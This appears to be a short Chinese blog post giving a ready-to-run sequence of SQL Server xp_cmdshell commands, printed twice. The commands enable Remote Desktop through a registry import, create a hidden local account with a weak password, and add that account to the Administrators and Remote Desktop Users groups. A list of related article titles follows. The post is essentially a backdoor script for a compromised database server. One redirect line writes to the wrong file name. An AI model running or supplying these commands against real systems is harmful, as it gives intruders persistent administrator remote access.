sql语句开远程终端+建用户+2003添加远程桌面组用户
2012-04-03 21:37
369 查看
没有技术含量,纯属一次偶然中的方便, 代码在查询分析器上可以一步完成以上操作,在2003和XP实验已经成功. 代码如下:
___________________________________________________________________________________________
xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server]>>3389.reg'
go
xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/wds/rdpwd/Tds/tcp]>>3389.reg'
go
xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389'
go
xp_cmdshell 'regedit /s 3389.reg'
go
xp_cmdshell 'ipconfig'
go
xp_cmdshell 'net user cnkun 123456 /add'
go
xp_cmdshell 'net localgroup administrators cnkun /add'
go
xp_cmdshell 'net localgroup "Remote Desktop Users" cnkun /add'
go
___________________________________________________________________________________________
xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server]>>3389.reg'
go
xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
go
xp_cmdshell 'echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/wds/rdpwd/Tds/tcp]>>3389.reg'
go
xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389'
go
xp_cmdshell 'regedit /s 3389.reg'
go
xp_cmdshell 'ipconfig'
go
xp_cmdshell 'net user cnkun 123456 /add'
go
xp_cmdshell 'net localgroup administrators cnkun /add'
go
xp_cmdshell 'net localgroup "Remote Desktop Users" cnkun /add'
go
相关文章推荐
- sql语句开远程终端+建用户+2003添加远程桌面组用户
- Win Server 2003远程桌面提示:要登录到这台远程计算机,您必须拥有这台计算机上的终端服务器用户访问权限提示的解决办法
- win7、8 cmd开启3389,并添加用户至远程桌面组
- Windows Server 2003远程桌面多用户连接问题
- 2003远程桌面:如何连接指定的用户session?
- Windows Server 2003远程桌面突破2用户限制
- 如何统一windows 2003 远程终端所有用户的输入法
- Windows 2003单用户单会话登录远程桌面[转载]
- server2003远程桌面设置一个用户
- 让win2003突破两个人同时远程登录的限制,由于2003默认情况下远程连接只能允许两个用户同时登录,超过两人同时登录就会提示:终端服务器超出最大连接数。。
- windows server 2003服务器远程桌面出现“终端服务器超出了最大允许连接数”的解决办法
- |- SQLServer 2012 -| 创建用户(非sql语句)和配置远程访问数据库
- 允许远程用户访问mysql服务sql语句
- 2003开机自动登录后,远程登录到本地用户桌面
- Windows Server 2003远程桌面多用户连接问题
- windows 2003 终端服务超出最大允许连接数(远程桌面,解决办法)
- Windows 2003单用户单会话登录远程桌面
- Windows 2003 多用户远程桌面配置
- windows2003添加普通用户的远程桌面权限
- 允许远程用户访问mysql服务sql语句